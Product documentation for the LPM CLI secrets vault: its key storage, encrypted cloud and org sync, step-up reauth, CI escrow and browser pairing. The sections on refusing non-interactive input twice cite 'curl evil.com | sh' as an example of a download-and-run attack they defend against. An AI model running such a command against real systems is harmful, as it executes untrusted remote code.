# Secrets vault (/docs/infra/secrets-vault)



The vault is LPM CLI's internal secrets system. Locally, it stores per-project env vars in the macOS Keychain on macOS. On Linux and Windows, it keeps encrypted vault blobs on disk and protects the local data key with the OS secure store when available: Secret Service-compatible storage on Linux, Credential Manager on Windows. With a Pro or Org plan, those vars **sync to the LPM.dev Registry** end-to-end encrypted. Org sync makes them shareable across team members. CI pulls happen via OIDC (no long-lived tokens). You can also push the same env project directly to Vercel, Coolify, Fly.io, Railway, or GitHub Actions without transmitting plaintext env values through the server.

Local CLI surface: [`lpm env`](/docs/dev/env). Web dashboard: [lpm.dev/dashboard/secrets](https://lpm.dev/dashboard/secrets). Today, [`lpm env`](/docs/dev/env) is the documented local surface.

## What plan tier you need [#what-plan-tier-you-need]

| Tier     | Local vault | Cloud sync | Org sharing | OIDC pulls in CI | Platform integrations |
| -------- | ----------- | ---------- | ----------- | ---------------- | --------------------- |
| **Free** | Yes         | No         | No          | No               | No                    |
| **Pro**  | Yes         | Yes        | No          | Yes              | Yes                   |
| **Org**  | Yes         | Yes        | Yes         | Yes              | Yes                   |

The local vault is unconditional — every plan can store secrets locally. **Cloud sync is plan-gated** — `lpm env push` / `lpm env pull` against a free account returns `403 "Vault sync requires a Pro or Org plan"`.

## Local storage [#local-storage]

```text
macOS default      → Keychain item (service: "dev.lpm.vault", account: <vault-id>)
Linux default      → ~/.lpm/vaults/<vault-id>.enc encrypted with a Secret Service-protected data key
Windows default    → ~/.lpm/vaults/<vault-id>.enc encrypted with a Credential Manager-protected data key
debug/test builds  → encrypted-file fallback when LPM_FORCE_FILE_VAULT=1
```

On macOS, LPM CLI reads and writes Keychain items via service `dev.lpm.vault`. On Linux and Windows, the encrypted vault blob stays at `~/.lpm/vaults/<vault-id>.enc`, while the local data key lives in the native secure store under service `dev.lpm.vault-local-key`, account `data-key`.

Existing Linux/Windows vaults that used `~/.lpm/.vault-fallback-key` are promoted automatically the first time the native store is reachable: LPM CLI stores the derived data key in the OS secure store and removes the old fallback key. If the native store is unavailable before promotion, LPM CLI can still use the encrypted-file fallback. After promotion, a locked or broken native store is a loud error, not a silent downgrade.

Maintainer debug/test binaries can force the file backend with `LPM_FORCE_FILE_VAULT=1` to exercise fallback behavior. Installed release builds ignore that override and keep using the platform default.

## Per-project identity [#per-project-identity]

Each project gets a **vault-id** — a UUID v4 written into the project's `lpm.json` at first vault use. Subsequent commands look up the project's vault by this ID, not by directory path, so a moved/renamed project keeps its vault.

The binding is a single top-level field in `lpm.json`:

```json title="lpm.json"
{
  "vault": "7f3a1e2c-5b9d-4a8f-b6c1-9b1d2e3f4a5b"
}
```

The first time you run any `lpm env` command in a project, the CLI:

1. Reads `lpm.json > vault` if present; otherwise generates a fresh UUID v4 and writes it back into `lpm.json`. If `lpm.json` doesn't exist, the CLI creates a minimal one containing only this field.
2. Validates the stored value — empty strings, path separators (`/`, `\`), `..` substrings, leading `~`, control characters, and absolute-drive prefixes are rejected, since the value is joined into a `~/.lpm/vaults/<id>.enc` path on machines using the file fallback.

**Commit `lpm.json` to git.** The vault-id isn't a secret — it's an opaque pointer. Committing it means every teammate who pairs into the same vault (via `lpm env pair <code>` from the dashboard) lands on the same server-side row with no manual setup. Removing the `vault` field regenerates a fresh UUID on next use — that decouples the working directory from the previous vault rather than deleting any data on the server.

Override per-invocation with [`LPM_VAULT_ID`](/docs/reference/env-vars#auth-and-routing) — useful in CI when one workflow needs to pull a vault other than the checked-out project's. The CLI also tracks per-vault sync state in `lpm.json > vaultSync.personalVersion` and `vaultSync.orgVersions.<slug>` for push conflict detection; those are written by `lpm env push` / `lpm env pull` and shouldn't be edited by hand.

You don't usually deal with the vault-id directly — `lpm env` operations resolve it transparently. Knowing the field exists explains why `lpm.json` mutates on first vault use, why moving a project keeps its vault, and how a teammate's `git clone` lands on the same encrypted blob as yours.

## Per-environment scoping [#per-environment-scoping]

Inside one project's vault, secrets are scoped per **environment**:

```bash
lpm env set DATABASE_URL=...                          # → "default" environment
lpm env set --env=staging DATABASE_URL=...            # → "staging" environment
lpm env set --env=production DATABASE_URL=...         # → "production" environment
lpm env list --env=staging
```

On macOS, this is stored as `{environment_name: {key: value}}` JSON inside one Keychain item per project. On Linux and Windows, the same environments map lives in the encrypted local vault file; the file key is protected by the OS secure store when available. `lpm dev --env=staging` (or `lpm run dev --env=staging`) injects the staging-scoped vars into the script.

Without `--env`, operations target the `"default"` environment.

## Cloud sync architecture [#cloud-sync-architecture]

```text
[your machine]             [LPM.dev Registry]              [teammate's machine]
                                                                   ▼
  vault data    →   AES-256 encrypt   →   POST /api/vaults/{id}/sync
       │                  │                     │
       ▼                  ▼                     ▼
  per-vault         wrap with          encrypted_blob +
  AES key           wrapping key       wrapped_key +
                                       schema (envSchema from lpm.json) +
                                       version (auto-increment)
                                                                   ▲
                                       GET /sync ────────────────  │
                                                       wrapping key
                                                       (from local keychain)
                                                       └→ unwrap AES → decrypt
```

Three keys, never confused:

1. **Wrapping key** — a 256-bit random key, generated **once per machine**, stored in the local key store: system keyring when available, otherwise `~/.lpm/.vault-key`. &#x2A;*Never leaves the machine.**
2. **Per-vault AES key** — a 256-bit AES key generated per-vault on the client. Encrypts the actual secret blob with AES-256-GCM.
3. **Wrapped key** — the per-vault AES key, encrypted ("wrapped") with the wrapping key. Stored on the server alongside the encrypted blob.

The server holds **encrypted blob + wrapped key**. It can't read either — to decrypt, you need the wrapping key, which lives only on machines that have the local wrapping-key material.

Push and pull:

```bash
lpm env push               # encrypt + push to server
lpm env pull               # pull + decrypt
```

Each push **increments a server-side version number**. Conflicting writes (your local version is `v3`, server already has `v4` from a teammate) return `409` with `VaultConflictError` — the CLI surfaces this and asks you to pull, reconcile, and re-push. Not "last-writer-wins" silently — drift is loud.

Successful sync responses (push and pull, personal and org) carry an `X-LPM-Signature` header — HMAC-SHA256 over the response body, keyed by `SHA-256(auth_token)`. Both sides already share the auth token, so there's no global server signing key and no rotation story; rotating the auth token automatically rotates the HMAC key on both sides.

The CLI verifies the signature **before any parsing or decryption**. The encrypted blob is already authenticated by AES-GCM, so confidentiality is independent of this header — what the signature protects is the **envelope**: `version` (anti-rollback), `wrappedKey`, `vaultId`, `status`, and metadata. A TLS-terminating intermediary or a compromised CDN cache cannot forge a successful response or replay an old version under a different one.

Failures are loud, not silent. A missing header on a 2xx response, a non-base64 header, or a body that doesn't match the signature aborts the sync with an error that names the missing header — never a fallback to the unsigned body. Error responses (4xx, 5xx) are not signed and are passed through to the caller's error formatter.

## What syncs alongside the encrypted blob [#what-syncs-alongside-the-encrypted-blob]

```text
vault_sync row:
├── encryptedBlob          ← AES-256-GCM ciphertext (server can't read)
├── wrappedKey             ← AES key wrapped with the user's wrapping key
├── ciEscrowWrappingKey    ← (optional) wrapping key escrowed for CI/OIDC
├── schema                 ← lpm.json > envSchema (synced on push, dashboard-readable)
├── name                   ← project directory name (so the dashboard can label it)
├── version                ← auto-incrementing for conflict detection
└── userId or orgId        ← scope
```

The **schema** is interesting — your `lpm.json > envSchema` (`{required, format, pattern, default, secret}` per var) travels alongside the encrypted blob. The dashboard renders it read-only so a teammate viewing the vault sees which keys are required, which are secret, etc., without seeing values. `schema` is rebuilt from `lpm.json` on every push; if `lpm.json` is missing the CLI sends no `schema` and the server keeps the last-known-good value. If `lpm.json` exists but is malformed, the CLI logs a stderr warning and proceeds without `schema` so your push isn't blocked by a parse error in a docs-only field.

The **name** field always lands on the wire. The CLI resolves it from `package.json > name`, falling back to `lpm.json > name`, then the project directory's basename. Helps the dashboard render `apps/web` instead of `vault-7f3a-...-9b1d`.

Both fields round-trip on personal AND org pushes — same wire shape, same metadata pipeline.

## Org sync (E2E across team members) [#org-sync-e2e-across-team-members]

Personal sync uses one wrapping key per machine. **Org sync** is more interesting — multiple users need to read the same encrypted blob, but no shared key exists.

LPM CLI uses an **X25519 + AES** scheme similar to ECIES:

1. Each org member registers an **X25519 public key** with the LPM.dev Registry (the server stores the public key in `user_public_keys`; the private key stays on the member's machine).
2. The vault has a single **AES key** that encrypts the blob (same as personal).
3. The AES key is **wrapped per member** — once for each member's X25519 public key, producing one row in `vault_org_keys` per member.
4. On pull: the member uses their X25519 private key to unwrap their copy of the AES key, then decrypts the blob.

Adding a new member to an org vault:

1. The org admin (or anyone with the rotate permission) pulls the AES key (they can — they have a wrapped copy).
2. Re-wraps it with the new member's X25519 public key.
3. Pushes the new wrapped-key entry to the server (`POST /api/orgs/{slug}/vaults/...`).

Removing a member: drop their wrapped-key entry (RLS allows org admins to do this). For real revocation, **rotate the AES key** — generate a new one, re-wrap for every remaining member, push. The leaver's copy of the old key still works against the old encrypted blob, so a fresh push under the new key is what actually removes their access.

Wire format for wrapped keys: `base64(ephemeral_public 32B):base64(iv 12B):base64(ciphertext+tag 48B)`. The server validates the full shape on every write — wrong byte counts, URL-safe Base64, embedded whitespace, or extra/missing colons are rejected at the route layer before the row is persisted. A dashboard or CLI bug that emitted a malformed value cannot land a row the org pull path would silently surface as "has access."

## Sharing keys (X25519) and rotation [#sharing-keys-x25519-and-rotation]

Your **sharing key** is the X25519 keypair the org-sync diagram above relies on. It's per-account, not per-device: the public half is registered on the LPM.dev Registry under `user_public_keys`, while the private half stays only on the local machine in LPM CLI's key storage.

When a CLI verb needs to touch the org-vault path (`lpm env share --org <slug>`, `lpm env pull --org <slug>`, etc.) the client first asks the server what it knows about your sharing key and branches on three states:

| State                | What it means                                          | What the CLI does                                                                                                                                                                                                                 |
| -------------------- | ------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Matches**          | Server's stored public key equals the local one        | Proceeds with the operation. No prompts.                                                                                                                                                                                          |
| **NeedsInitialSet**  | Server has no public key on file yet                   | Mints a `vault:public-key:set` [step-up proof](#cli-step-up-reauth), uploads, and proceeds.                                                                                                                                       |
| **RotationRequired** | Server has a *different* public key than the local one | **Refuses to proceed.** Silently overwriting would invalidate every org teammate's wrapped access without your knowledge — the explicit recovery path is [`lpm env rotate-sharing-key`](/docs/dev/env#rotating-your-sharing-key). |

The refusal on `RotationRequired` is load-bearing. Without it, a stolen auth token could `POST` a new sharing key, wait for the next org teammate's push, and decrypt the freshly wrapped vault values. Holding the line at the client and gating real rotation on a typed `ROTATE` confirmation plus a `vault:public-key:rotate` step-up closes that path.

### Rotation flow [#rotation-flow]

`lpm env rotate-sharing-key` is the single, interactive entry point that handles a legitimate sharing-key replacement. The flow:

1. **Crash recovery.** If a previous run left a pending key on disk that already matches the server's stored value, the command finishes the promotion (live keychain entry replaced with the pending value) and exits. Re-running the command after a network drop is safe.
2. **Blast-radius warning.** Rotating invalidates every `vault_org_keys` row the server held for you. Until an owner or admin of each affected org runs `lpm env share --org <slug>` to re-wrap, those vaults cannot be pulled. The dashboard's Member Access view shows the rows as **Needs share** with no remediation false positives.
3. **Typed confirmation.** You type `ROTATE` (uppercase) — anything else cancels with no server-side or local state change.
4. **Step-up reauth.** Password (+ TOTP if enrolled) for a `vault:public-key:rotate` proof.
5. **Pending-key write.** A fresh X25519 keypair is generated and the private half is parked in a pending file. The keychain's live entry is *not* touched yet.
6. **Server upload.** New public key + the rotation proof go to the server. The server invalidates wrapped-key rows, writes audit entries (`vault.public_key_rotated` plus the per-org impact entries), and dispatches an out-of-band security email to your account plus an impact email to every affected org's owners and admins.
7. **Promotion.** The pending file replaces the live keychain entry. If the process crashes between step 6 and step 7, step 1 picks the work up on the next run.

The command refuses to run without a TTY — there is no `--yes` flag. A CI runner cannot accidentally trigger sharing-key rotation.

On macOS specifically, once a rotation has produced a live file-backed keypair (the pending → promoted path writes to the file slot), subsequent reads prefer the file over the Keychain entry so a stale macOS Keychain row can't shadow the rotated key. The pre-rotation file is overwritten in place, so there's no orphaned-key drift.

### What does NOT rotate [#what-does-not-rotate]

* **Per-machine wrapping key.** That's a separate primitive — local-only, never on the server. It's rotated by [`lpm env rotate-key`](/docs/dev/env#cloud-sync), not by `rotate-sharing-key`.
* **Browser pairings.** Dashboard sessions wrap an *ephemeral per-pairing* key during pair-approve, not your account-level sharing key, so they survive a sharing-key rotation. If you want to invalidate dashboard sessions too, use the dashboard's "Sign out everywhere."
* **Auth token / registry session.** Separate primitive again; rotate with [`lpm token-rotate`](/docs/infra/token-rotate).

## CLI step-up reauth [#cli-step-up-reauth]

The dashboard's pair-create flow has its own [step-up proof](#step-up-policy-and-session-binding). The CLI has a parallel one for sensitive write verbs the bearer alone shouldn't authorize.

The model is the same: a freshly-minted, short-lived, session-bound, audience-locked JWT. The CLI mints one by re-prompting the user for their credentials in the terminal, sends it back to the server in an `X-LPM-Step-Up-Proof` header, and the server verifies the proof before honoring the underlying request.

```bash
# What you see when a verb needs a step-up:
> lpm env rotate-sharing-key
…
Confirm your password and a fresh authenticator code to authorize this action.
Password: ●●●●●●●●
Authenticator code: 123456
```

### Scopes [#scopes]

Each step-up proof is scoped to exactly one verb the server recognizes. A proof minted for `vault:public-key:set` cannot be replayed against `vault:public-key:rotate` and vice versa.

| Scope                     | Triggered by                                                                                           | Server-side check                                                                                                                                      |
| ------------------------- | ------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `vault:public-key:set`    | First-time registration of an X25519 sharing key for your account (the `NeedsInitialSet` branch above) | Refuses if a public key already exists for the user.                                                                                                   |
| `vault:public-key:rotate` | `lpm env rotate-sharing-key`                                                                           | Refuses if no public key exists yet (rotation has nothing to replace). Atomically rotates the key and invalidates wrapped-key rows in one transaction. |

Both scopes mint proofs against the same primitive: `POST /api/auth/cli-step-up`, signed by a server-side secret, bound to the bearer's CLI `session_id`.

### Credentials the CLI prompts for [#credentials-the-cli-prompts-for]

The server tells the CLI which factor it must collect, derived from your account's MFA state:

* **TOTP enrolled** — the CLI prompts for your password **and** a fresh authenticator code. The CLI runs the password through a transient cookie-less Supabase client to obtain a one-shot session, then satisfies `mfa.challenge` / `mfa.verify` against that session. The user-facing impact is one prompt with two inputs; the server-side guarantee is that both factors were verified together within the proof's window.
* **Password only** (no MFA enrolled) — the CLI prompts for your password.
* **OAuth-only** (GitHub / Google identity with no password and no MFA factor) — the server returns a refusal that names the remediation. The CLI prints the dashboard URL where you can set a password or enroll an authenticator; no step-up is possible until you do.

### TTY refusal — there's no `--yes` for step-up [#tty-refusal--theres-no---yes-for-step-up]

The CLI **refuses to mint a step-up proof on a non-interactive stdin**. Piping into the CLI, running in CI, or background-spawning all return an error rather than silently advancing through a prompt. This is a deliberate floor: a `curl evil.com | sh` payload cannot trigger a rotation by piping fake credentials, and a CI job cannot accidentally promote a stolen runner secret into a key change.

Standalone registry tokens (a `.npmrc` token, a CI access token) are rejected even earlier — they have no CLI `session_id` to bind a proof to, so the server refuses before reaching the credential-prompt path.

### TTL and binding [#ttl-and-binding]

* **TTL** — 5 minutes from mint. After expiry, the next operation re-prompts.
* **Session-bound** — the proof carries the bearer's CLI `session_id`. A different CLI session (parallel attacker terminal, stolen bearer in a different process) cannot reuse a proof minted elsewhere.
* **Scope-locked** — the JWT's `aud` claim is allow-listed per scope. Cross-verb replay is blocked.
* **Single-use semantics on the server side** — the server-side endpoint that consumes the proof (e.g., the public-key write route) verifies one proof per write. A failed write doesn't re-burn the proof inside its TTL, so a brief retry is safe.

Every step-up event — successful and refused — lands in the account-scoped audit log. Forensics on "did anyone try to rotate this sharing key?" surfaces the attempts even if the credential check ultimately failed.

## CI escrow + OIDC pulls [#ci-escrow--oidc-pulls]

CI is the one case where **server-side decryption is allowed** — by design. CI runs in an environment that has no keychain, no persistent state between runs, and no interactive way to pair a wrapping key. So vault sync supports an opt-in escrow:

1. When you enable CI for a vault, the CLI re-wraps your wrapping key with `VAULT_CI_ESCROW_KEY` (a key the LPM.dev Registry holds) and stores the result in `vault_sync.ciEscrowWrappingKey`.
2. CI hits `GET /api/vaults/{id}/ci-pull?env=production`.
3. The server verifies the request is from a valid OIDC exchange (token name prefix `oidc:{provider}:{subject}:{branch}`).
4. The server unwraps the escrowed wrapping key, decrypts the blob, filters by environment, and returns plaintext secrets.

Plaintext leaves the server only via TLS to the verified CI workflow. The escrow is **opt-in per vault** — vaults without `ciEscrowWrappingKey` set can never be CI-pulled.

CLI surface:

```bash
lpm env pull --oidc                              # in CI, exchanges the OIDC token + CI-escrow pulls
lpm env pull --oidc --env=production             # scope to one environment
lpm env pull --oidc --output=.env                # also write a dotenv-formatted copy
```

The `--oidc` flag routes through the OIDC exchange (`POST /api/vault/oidc`) and then through the CI-escrow path (`GET /api/vaults/{id}/ci-pull`). [`lpm setup ci npmrc --oidc`](/docs/infra/setup) generates the matching `.npmrc` and is usually run as a separate prior step in the same workflow.

### OIDC policy [#oidc-policy]

To control which workflow can pull which vault, attach an OIDC policy:

```text
provider:           "github" | "gitlab"
subject:            "repo:owner/repo" (GitHub) | "project:id" (GitLab)
allowedBranches:    ["main", "release/*"]
allowedEnvironments: ["production", "staging"]
allowForks:         false
```

The exchange validates the OIDC token's claims against the policy. If the workflow is on `feature/x` and the policy only allows `["main"]`, the exchange returns `403`. If the workflow is on a fork and `allowForks: false`, the exchange returns `403`.

GitHub Actions and GitLab CI are the supported providers. Validation, the dashboard policy form, and the exchange handler describe the same two-provider surface — there are no advertised-but-unwired providers.

## Browser pairing for dashboard access [#browser-pairing-for-dashboard-access]

The dashboard needs to decrypt the same vaults the CLI handles, but it can't ship the wrapping key over TLS to a browser session — that would defeat E2E. Instead, **dashboard pairing** uses ECDH:

0. Before the dashboard is allowed to mint a new pairing code, the server requires a **fresh step-up auth proof**. The dashboard opens a modal that asks for the user's TOTP code (if MFA is enrolled) or their account password (if not). The browser POSTs the credential to `/api/auth/step-up`, which verifies it and sets a short-lived (5 min), session-bound HttpOnly cookie scoped to `Path=/api/vault/pair`. Without that cookie, `POST /api/vault/pair` returns `403 step_up_required` and the create call is refused.
1. Dashboard generates an ECDH P-256 keypair in the browser. Sends the public key to `POST /api/vault/pair` with a device label. The request carries the step-up cookie from step 0.
2. Server returns a **6-character alphanumeric pairing code** (5-minute TTL). Dashboard shows the code and a two-digit **match number** derived locally from `SHA-256(pairing_code || browser_public_key)` — neither value is ever transmitted, both sides compute independently.
3. You run `lpm env pair <code>` on a machine that already has the wrapping key. The CLI fetches the pending session, derives the same match number from the inputs it now holds, and displays a confirmation prompt with:
   * the device label the dashboard reported
   * a fingerprint of the browser public key the CLI is about to wrap for
   * the match number — verify it matches the dashboard before answering `y`
4. After you approve, the CLI wraps your wrapping key with the browser's public key and sends the ciphertext + the CLI's ephemeral public key back.
5. Dashboard fetches the wrapped wrapping key, decrypts with its ECDH private key (using the CLI's ephemeral public key for the shared secret), unlocks every vault.

The CLI **refuses to pair on a non-interactive stdin** (pipe, heredoc, CI) unless `--yes` is passed — a defense against social-engineering payloads of the form `curl evil.com | sh` that contain a stray `lpm env pair XXXXXX`. Every pairing lifecycle event (`pair_create`, `pair_approve`, `pair_consume`, `pair_revoke_all`) is recorded in the vault audit log with the SHA-256 of the code (not the raw code), the device label, the originating IP, and the step-up method used (`totp` or `password`).

### Step-up policy and session binding [#step-up-policy-and-session-binding]

The step-up proof is a JWT signed by a server-side secret with three load-bearing properties:

* **Session-scoped.** The proof embeds the user's current `session_id`; a different session of the same user (stolen cookie from another browser, parallel attacker session) cannot replay it. The pair-create gate re-reads the live `session_id` and refuses any proof that doesn't match.
* **Time-windowed.** 5-minute TTL via `Max-Age=300` on the cookie. Re-pairing the same browser within that window does not re-prompt — the cookie is the throttle, not a per-pair requirement.
* **Audience-locked.** The JWT's `aud` claim is allow-listed (`vault:pair` today); a proof minted for one sensitive surface cannot be replayed against another.

Which credential the modal asks for is decided server-side from the user's identity state:

* Users with a verified TOTP factor must use **TOTP** — no password fallback, even for an already-AAL2 session. This matches the policy `requireFreshMfa` enforces elsewhere in the app.
* Users without MFA but with a password (email-provider identity in Supabase) use **password**. Verification routes through a transient cookie-less Supabase client so the user's live session cookie is not rotated by the check.
* OAuth-only users (GitHub-only, Google-only — no email-provider identity and no MFA) cannot satisfy either method. The modal renders a remediation view linking to the security settings page; pairing is blocked until the user sets a password or enrolls MFA. The server returns `403 { code: "step_up_required", method: "unavailable", reason: "set_password_required" }`.

The TOTP path uses the same factor-keyed rate limits the login MFA flow uses (`mfaVerify` 5/15min, `mfaVerifyDaily` 50/day, both keyed on the server-issued `factorId`), so the online-guessing budget against a stolen credential is bounded at the verify primitive rather than at any single route.

**One pairing unlocks all the user's vaults** — per-user scope, not per-vault. Sessions expire after 5 minutes if not approved; status field tracks `pending → approved → consumed → expired`.

Approved sessions stay "consumed" once the dashboard fetches the wrapped key, so the same pairing code can't be replayed.

## Platform integrations [#platform-integrations]

Push your local env project to an external platform without the LPM.dev Registry ever transmitting plaintext env values. LPM CLI:

1. Loads the selected local environment from secure local storage.
2. Retrieves the encrypted-at-rest platform credential through the authenticated, signed LPM API.
3. Sends values **directly** to the Vercel, Coolify, Fly.io, Railway, or GitHub API. GitHub secret values are first sealed locally with GitHub's Actions public key.

The LPM.dev Registry stores the platform credential encrypted with AES-256-GCM plus a bounded connection config (project, repository and immutable repository or app ID, organization identity, environment, service, or application ID, selected target, token mode, and linked environment). It handles the credential during authenticated connect and credential retrieval, but it never receives the application env values.

Supported platforms:

| Platform         | Use case                                                                                                                                                                     |
| ---------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `vercel`         | Merge, compare, clean, and pull env vars for selected Vercel deployment targets                                                                                              |
| `coolify`        | Merge, compare, clean, and pull readable production or preview application env vars; requires a team-administrator `root` token or `read` + `write` + `read:sensitive` token |
| `fly`            | Refresh, compare names, clean, and report skipped write-only secrets for one identity-bound Fly.io app                                                                       |
| `railway`        | Verified bulk merge, exact clean, compare, and pull for Railway service or shared environment variables                                                                      |
| `github-actions` | Exact readable-variable sync plus sealed write-only secrets at repository or environment scope                                                                               |

Endpoints:

| Endpoint                                | Purpose                                                                 |
| --------------------------------------- | ----------------------------------------------------------------------- |
| `POST /api/vault/platforms/connect`     | Store a CLI-verified encrypted platform credential and validated config |
| `GET /api/vault/platforms/connect`      | List connection metadata for the dashboard                              |
| `DELETE /api/vault/platforms/connect`   | Disconnect a stored platform credential                                 |
| `POST /api/vault/platforms/credentials` | Return authorized connection data to the CLI in a signed response       |
| `POST /api/vault/platforms/audit`       | Record bounded push or pull counts after a client-direct operation      |

Connect, push, pull, clean, and status are CLI operations. The dashboard lists connection metadata and can disconnect a credential; it never exposes tokens or plaintext env values. Railway uses the fixed public GraphQL endpoint, disables redirects, reads unrendered references, and verifies every bulk mutation with an authoritative reread before recording success.

Fly.io binds a connection to the canonical app name, immutable app ID, and immutable organization ID. It disables redirects, rejects GraphQL errors even with HTTP 200, verifies identity and current secret names immediately before mutation, and rereads names before reporting success. Every local value is a write-only Fly secret. Push refreshes every expected value through `setSecrets`; clean removes extra names through `unsetSecrets`. Both mutations create Fly releases. Status verifies names only, and pull reports skipped names without replacing local values.

GitHub Actions binds a connection to the canonical repository name and immutable repository ID. It disables redirects, bounds pagination, and verifies that binding before every operation. Schema keys marked `client: true` without `secret: true` are readable Actions variables; every other key defaults to an Actions secret. Status and post-push verification compare readable values exactly and secret names only. Pull skips write-only secrets, while clean removes extra names from both namespaces. Failed multi-request pushes record only bounded counts for mutations GitHub had already accepted.

Cloud storage and platform deployment are intentionally separate. `lpm env push` encrypts locally and stores ciphertext plus wrapped key material on LPM.dev; `lpm env push --to <platform>` sends plaintext directly to that platform. Neither operation claims atomic rollback across the two independent systems.

## Audit log [#audit-log]

Every server-side mutation produces an audit entry:

```bash
lpm env log                              # last 50 entries for this project's vault
```

For full pagination and time-range queries, use the [dashboard](https://lpm.dev/dashboard/secrets).

Action set includes `push`, `pull`, `share`, `unshare`, `rotate_key`, `member_added`, `member_removed`, `platform_connect`, `platform_push`, `platform_push_failed`, and `platform_pull`. Each entry records the user, optional org, action, bounded metadata (version numbers, key fingerprint diffs, or platform operation counts), and timestamp.

Read access:

* **Personal vaults:** the owner sees their own entries.
* **Org vaults:** members with role `owner` / `admin` / `maintainer` can read the full audit; lower-role members can't (RLS-enforced).

The dashboard surfaces the same data with filters and time-range queries.

## Personal vs org rows for the same vaultId [#personal-vs-org-rows-for-the-same-vaultid]

Vault rows are uniquely keyed by `(vaultId, userId)` for personal entries and `(vaultId, orgId)` for org entries — both indexes coexist. So &#x2A;*the same `vaultId` can have BOTH a personal row (for the owner) AND an org row (shared)**. The CLI picks which side to read based on context (`--org` flag, project ownership).

This lets a user "promote" a personal vault to an org vault without losing the personal copy as a fallback. Useful during the "I'm about to share this with my team but I want my own working copy too" transition.

## Migration from the old token-derived wrapping key [#migration-from-the-old-token-derived-wrapping-key]

Older versions derived the wrapping key from `SHA256("lpm-vault-wrap:" + auth_token)`. That tied the vault to your auth token — a token rotation broke decrypt.

Current versions use an independent random wrapping key in the keychain. On decrypt failure with the stored key, LPM CLI tries the legacy key as a fallback. If the legacy key works, the blob is re-encrypted under the stored key and pushed back inside the same `pull` — migration is automatic and converges without an extra command. The migration push is best-effort: if the network blips or the version races, the failure is logged at `warn` (not silent), and the next successful pull retries. A push from a machine that already has intact local secrets also implicitly migrates the cloud blob, since push always re-encrypts under the current stored key.

If you've rotated tokens AND the data was last encrypted under the old token-derived key AND you no longer have the old token, the legacy path can't recover. Practical workarounds: pair a still-paired machine and transfer the wrapping key, push fresh data from a machine with intact local secrets, or pull the platform integration that holds the canonical copy.

## Limitations [#limitations]

* **CI escrow gives the server the keys.** That's the deliberate trade — CI can't hold a wrapping key, so the server holds an escrowed copy. Vaults without `ciEscrowWrappingKey` set can't be CI-pulled, period. You opt in per-vault.
* **Conflict resolution is server-detected, not auto-resolved.** Push when the server is on a newer version → 409. The dashboard's diff view helps; the CLI doesn't merge for you.
* **No per-key permissions.** Org members either have read access to the whole vault or no access. Per-key ACLs are a future ask.

## See also [#see-also]

* [`lpm env`](/docs/dev/env) — CLI surface for everyday use, including [`rotate-sharing-key`](/docs/dev/env#rotating-your-sharing-key)
* [Managing secrets guide](/docs/guides/managing-secrets) — task-oriented walkthrough
* [`lpm setup ci npmrc --oidc`](/docs/infra/setup) — CI auth for `ci-pull`
* [`lpm.json` envSchema](/docs/reference/lpm-json#envschema) — what gets synced alongside the blob
* [Authentication](/docs/infra/authentication) — how the OS keychain backs LPM CLI auth too
